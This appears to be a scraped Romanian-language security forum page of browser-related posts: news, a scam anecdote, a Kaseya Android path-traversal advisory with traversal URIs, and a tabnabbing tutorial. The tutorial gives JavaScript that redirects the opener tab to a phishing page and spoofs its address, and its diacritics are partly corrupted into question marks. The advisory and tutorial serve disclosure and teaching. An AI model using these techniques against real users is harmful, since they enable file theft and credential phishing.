de exemplu google vrea incearca sa afle : ip, browser , OS , etc..

deci tocmai am avut browserul blocat de POLITIE woohoooo, pentru piraterie spam material pornografic wtf.... aveam in dreapta un cronometru de 60 min in care imi analizau fisierele din calculator dupa care urma sa imi sparga politia usa )) o pagina foarte bine facut as putea spune, dar cu calmitate am zis ca daca e hai macar sa vad despre ce e vorba, dupa 10 minute in care am cautat prin sursa prin diferite scripturi java am descoperit ca defapt este un virus care practic iti blocheaza browserul printr-o metoda de browser hijacking, din cate am vazut eu practic iti suprapuneau pe orice pagina pagina lor. Ingenioasa idee dar totusi ilegala asa ca aveti grija la scamurile de genu apropo a mai patit careva asta? P.S. tot in dreapta aveam si optiunea sa platesc amenda ca sa scap prin paysafe sau ukash

Intrun fel imi pare rau,pentru mine internet explorer o fost ca un tata betiv cate ma batea tot timpul,dar pentru asta eu tot il iubeam,totusi o fost primul meu browser:)))))) Windows 10 will abandon the long-criticized Internet Explorer web browser, replacing it with a new “Project Spartan” brand, Microsoft has confirmed. Microsoft's marketing chief confirmed at the company's ‘Convergence’ conference in Atlanta on Monday that Internet Explorer, the major old web browser brand, will only be used in enterprise compatibility with the new Windows 10, which will be offering a new way of browsing the internet, The Verge reported. “We’ll continue to have Internet Explorer, but we’ll also have a new browser called Project Spartan. We have to name the thing,” Chris Capossela said. Microsoft's new web browser, for the moment being called “Project Spartan”, is currently being developed. Though it’s not available yet, it is said to have rejected the legacy of the IE code, thus becoming easier and faster in operation, with the best Javascript performance, according to some leaks. The project is likely to have a final name with the word “Microsoft” in it, because market research on Google Chrome users showed that people find it appealing. It is expected to be introduced alongside with Windows 10 at the end of this year. Internet Explorer has had a long history, doomed by a negative image, mocked by thousands of people on social media, as it failed to compete with rival Google Chrome or Mozilla Firefox browsers. sursa: http://rt.com/news/241557-microsoft-internet-explorer-killed/

Google yesterday announced that it would expand its browser security efforts with a new warning in Chrome about unwanted software to caution users about accessing sites that are known to encourage unsafe downloads. The Mountain View, Calif., search and browsing giant has invested serious resources into its safe browsing features over the past several years. The company revamped its malware and bad SSL certificate warnings last year following a pair of studies seeking to determine how browser-based warnings could effectively stop users from clicking through to potentially dangerous content. To this point, a user would trigger Google’s unwanted software warning in Chrome just as he attempted to download sketchy content. Now the warnings kick in as the user attempts to browser directly to a site or in Google search results leading to the site. “If you’re a site owner, we recommend that you register your site with Google Webmaster Tools,” wrote Google software engineer, Lucas Ballard. “This will help you stay informed when we find something on your site that leads people to download unwanted software, and will provide you with helpful tips to resolve such issues.” Early last year, Google ruffled some feathers by announcing it would block malicious file downloads by default in its Chrome browser. While some expressed concern about Google acting as a gatekeeper for acceptable content, the company ultimately went forward with the move. Yesterday’s announcement takes Google’s year-old decision one step further, allowing the company to encourage users not to visit certain sites as opposed to encouraging them not to download certain files. Later in 2014, the company expanded its definition of unwanted software to include programs that purport to be something they are not or make unwanted changes to the user’s browser. Source

Tor — a privacy oriented encrypted anonymizing service, has announced the launch of its next version of Tor Browser Bundle, i.e. Tor version 4.0.4, mostly supposed to improve the built-in utilities, privacy and security of online users on the Internet. Tor Browser helps users to browse the Internet in a complete anonymous way. The powerful Tor Browser Bundle, an anonymous web browser developed by the Tor Project, received some updates in its software. Tor Browser Bundle is basically an Internet browser based on Mozilla Firefox configured to protect the users’ anonymity via Tor and Vidalia. The anonymity suite also includes 3 Firefox extensions: Torbutton, NoScript and HTTPS-Everywhere. NEW FEATURES The latest version, Tor Browser Bundle 4.0.4, has been recently released, with a few number of new features: Updated to Firefox to 31.5.0esr with important security updates. Update OpenSSL to 1.0.1 Update NoScript to 2.6.9.15 Update HTTPS-Everywhere to 4.0.3 BUG FIXES Meanwhile, the new Tor version 4.0.4 also include some bugfixes: Bug 14203: Prevent meek from displaying an extra update notification Bug 14849: Remove new NoScript menu option to make permissions permanent Bug 14851: Set NoScript pref to disable permanent permissions "A new release for the stable Tor Browser is available from the Tor Browser Project page and also from our distribution directory," states the Tor project team. Tor is generally thought to be a place where users come online to hide their activities and remain anonymous. Tor is an encrypted anonymizing network considered to be one of the most privacy oriented service and is mostly used by activists, journalists to circumvent online censorship and surveillance efforts by various countries. However, late last year we have seen large scale cyber attack on Tor network that quietly seized some of its network specialized servers called Directory Authorities (DA), the servers that help Tor clients to find Tor relays in the anonymous network service. On the other end of the side, last month 12 high-capacity Tor Middle relays was launched by the Polaris — a new initiative by Mozilla, the Tor Project and the Center of Democracy and Technology — in order to help build more privacy controls into technology. The addition of high-capacity Tor middle relays to the Tor network helps reduce finite number of Tor connections occurring at the same time. -> Sursa <-

As avea nevoie de vreo 10 de rpd-uri , nu ma intereseaza configuratia , sa mearga cat de cat doar ca sa accesez un joc pe browser. Am gasit pe un site , cel mai ieftin fiind 4-5 $ . Voi stiti de unde le-as putea lua mai ieftin ?

( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Kaseya Browser Android Path Traversal Affected Versions: Kaseya Browser 7.0 Android PDF: http://www.security-assessment.com/files/documents/advisory/Kaseya_Browser_Android_Path_Traversal.pdf +-------------+ | Description | +-------------+ This advisory details a vulnerability found within Kaseya Browser Android application. A path traversal vulnerability was discovered within an exported content provider, resulting in the disclosure of arbitrary files, including internal application files. +--------------+ | Exploitation | +--------------+ The Kaseya Browser Android application exposes a content provider that is vulnerable to path traversal. This allows any other application installed on the device to read arbitrary files using the Kaseya Browser application’s permissions. This can be done by reading from the com.roverapps.retriever content provider as follows: content://com.roverapps.retriever/../../../../../sdcard/<file> content://com.roverapps.retriever/../databases/suitestorage.db +----------+ | Solution | +----------+ No official solution is currently available for this issue. +---------------------+ | Disclosure Timeline | +---------------------+ 03/10/2014 - Initial contact with Kaseya Support 09/10/2014 - Established Kaseya security contact 13/10/2014 - Advisories sent to Kaseya 21/10/2014 - Additional information sent to Kaseya 22/11/2014 - Update from Kaseya 29/01/2015 - Advisory Release +-------------------------------+ | About Security-Assessment.com | +-------------------------------+ Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research. For further information on this issue or any of our service offerings, contact us: Web www.security-assessment.com Email info () security-assessment com Phone +64 4 470 1650 Source

Code School teaches web technologies in the comfort of your browser with video lessons, coding challenges, and screencasts. Learn by Doing - Code School

XSS or Cross Site Scripting is a web application vulnerability that occurs when untrusted data from the user is processed by the web application without validation and is reflected back to the browser without encoding or escaping, resulting in code execution at the browser engine. type of XSS Reflected or Non-Persistent XSS ? Stored or Persistent XSS ? DOM based XSS ? mXSS or Mutation XSS Read more: http://dl.packetstormsecurity.net/papers/general/ultimate-xss.pdf

Utilizatorii sistemului de operare Linux pot interzice definitv stocarea de cookie-uri Adobe's Flash Player. Este o idee buna din cauza faptului ca Flash Player ca plugin, nu detecteaza cand browserul web se afla in modul de navigare privat (Private Browsing mode). Ca si celelalte tipuri de cookie-uri web, multi dintre noi nu prea avem habar multi ce rol au si ce fac ele, dar un lucru este sigur: monitorizeaza si furnizeaza date despre navigarea pe web. Totusi, aceste cookie-uri Flash pot fi gasite si sterse. Si chiar interzise a fi stocate definitiv, daca folosim Linux. Se deschide o fereastra terminal si se foloseste comanda "su" pentru a avea acces superuser (root user status). Daca rulati Ubuntu sau alta distributie Linux ce foloseste ideea de acces de superutilizator, folositi doar prefixul "sudo" inaintea tuturor comenzilor. Pentru a gasi cookie-urile Flash Player in propriul sistem, utilizati comanda de cautare "find -iname '*.sol'" si va va aparea o lista cu o gramada de fisiere in subdirectorul "./.macromedia" din directorul "/home/userid". Cel mai probabil veti dori sa le stergeti pe toate, dar pentru a nu strica ceva, cel mai bine facem o salvare de siguranta. Folosim comanda "mkdir ./.macromedia.sav" si comanda "cp -a ./.macromedia/* ./.macromedia.sav/". Apoi putem sterge acel director si toate fisierele cookie Flash Player folosind "rm -rf ./.macromedia". Apoi, creeam o legatura intre acel director si directorul /dev/null cu comanda "ln -s /dev/null ./.macromedia", dupa care verificam legatura creata cu comanda "ls -al ./.macromedia" Ca rezultat ar trebui sa avem afisat pe ecran "./.macromedia -> /dev/null". Se lanseaza in executie browser-ul web si se navigheaza pe web catre un site unde putem vedea continut Flash si pentru a ne asigura ca putem viziona continutul. Pentru a putea reveni la situatia anterioara folosim: "mv ./.macromedia.sav ./.macromedia" si "chown userid:userid ./.macromedia", unde userid este ID-ul de utilizator al userului (altul decat root) pe care am facut incercarea. Daca totul e ok iar Flash Playerul nu "crapa", putem sterge salvarea de siguranta cu "rm -rf ./.macromedia.sav" pe care am facut-o mai devreme. Se poate face acelasi lucru si cu directorul "./.adobe/Flash_Player" daca acesta exista. O abordare similara a situatiei o putem face si cu Apple's Mac OS X, fiind conceput pe baza BSD Unix si care este similar cu Linux.

Sper s? nu gre?esc dac? voi spune, c? ?tim cu to?ii ce e un link ?i la ce folose?te atributul target pentru tag-ul <a>. ?i dat fiind faptul c? majoritatea consider? inofensiv? folosirea acestei tehnici atât de populare, în acest tutorial voi încerca s? demonstrez contrariul. Pentru început vreau s? men?ionez c? ceea ce va fi descris aici, personal o consider a fiind o vulnerabilitate pentru toate browserele cu excep?ia... ta-da! — Internet Explorer. Iat? de ce în continuare voi folosi cuvântul „vulnerabilitate” atunci când m? voi referi la acest „fenomen”. De asemenea, v? rog s? atrage?i aten?ia c? aceast? vulnerabilitate v-a func?iona perfect doar dac? se va ap?sa click de stânga pe link, ?i nu click de dreapta ? „Deschide în fil? nou?”. ?i, nu în ultimul rând, a?a cum toat? lumea recomand? s? fie folosit target="_blank" pentru toate link-urile externe (doar nu dorim ca utilizatorul s? p?r?seasc? pagina noastr?), trebuie s? constat c? aceast? vulnerabilitate afecteaz? majoritatea site-urilor care fac referire la pagini externe. Teorie Dac? avem pagina curent? „A” ?i facem referire la pagina „B” folosind atributul target="_blank", atunci când se va deschide pagina „B” pentru aceasta va fi creat un obiect window.opener cu ajutorului c?ruia putem redirec?iona pagina „A” c?tre o nou? pagin? în timp ce utilizatorul acceseaz? pagina „B”. ?i cel mai important, paginile „A” ?i „B” pot fi pe domenii diferite. Practic? Pentru a în?elege mai bine despre ce merge vorba, v? recomand urm?torul exemplu: ap?sa?i click aici, a?tepta?i s? se încarce pagina, dup? care reveni?i înapoi. Dac? apare eroarea „window.opener is null” atunci: Ai deschis link-ul altfel decât folosind click de stânga; Browserul t?u nu e vulnerabil; Magie neagr?? Pentru un exemplu mai complex, v? rog s? accesa?i aceast? pagin? unde am folosit aceast? vulnerabilitate pentru a simula un atac de tip phishing asupra unui site ce ofer? servicii de email. Ca ?i pentru oricare site asem?n?tor (Gmail, Hotmail ?.a.) fiecare link primit într-un mesaj are atributul target="_blank". Explica?ii Pentru a exploata vulnerabilitatea, trimitem un mesaj ce con?ine adresa URL c?tre pagina „capcan?”, unde pentru a fi siguri c? utilizatorul a deschis link-ul, folosind click de stânga ?i nu alt? metod?, verific?m dac? exist? obiectul window.opener ?i nu este NULL. Dup? care, putem redirec?iona pagina de unde a venit utilizatorul. Codul arat? cam a?a: if (window.opener) { window.opener.location.replace('full-url-to-scam-page'); } Dup? cum pute?i observa, totul e atât de simplu, atât de banal, atât de periculos... Dac? pagina de phishing ?i cea legitim? arat? ca 2 pic?turi de ap?, iar numele domeniului nu d? de b?nuit, când utilizatorul va reveni la pagina ini?ial? cu siguran??, nu va observa modificarea. Pentru a da mai pu?in de b?nuit, poate fi modificat? adresa URL pentru pagina de phishing în felul urm?tor: De pe pagina funny.php e nevoie s? trimitem adresa URL (referrer) de unde a venit utilizatorul. Eu am f?cut a?a: var referrer = encodeURIComponent(document.referrer); window.opener.location = 'http://black.securrity.com/t_blank/scam.php#' + referrer; Apoi, pe pagina scam.php am folosit urm?torul cod: // Extragem leg?tura adresei URL ?i elimin?m numele domeniului var fakeurl = decodeURIComponent(window.location.hash).replace('#http://white.securrity.com', ''); // Modific?m adresa URL f?r? a înc?rca con?inutul acelei pagini window.history.pushState(false, false, fake_url); În loc de concluzii Sincer, nu în?eleg, ce a fost în capul dezvoltatorilor ca s? permit? executarea func?iei location.replace() sau modificarea obiectului location dintre dou? domenii diferite? Dac? era de pe acela?i domeniu, în?elegeam... ?i chiar e foarte straniu, c?ci celelalte func?ii ?i atribute ale obiectului window.opener nu pot nici m?car citite, deoarece:

Mi se pare ceva util: KidZui – internet sigur si jocuri pentru copilul tau | Games Core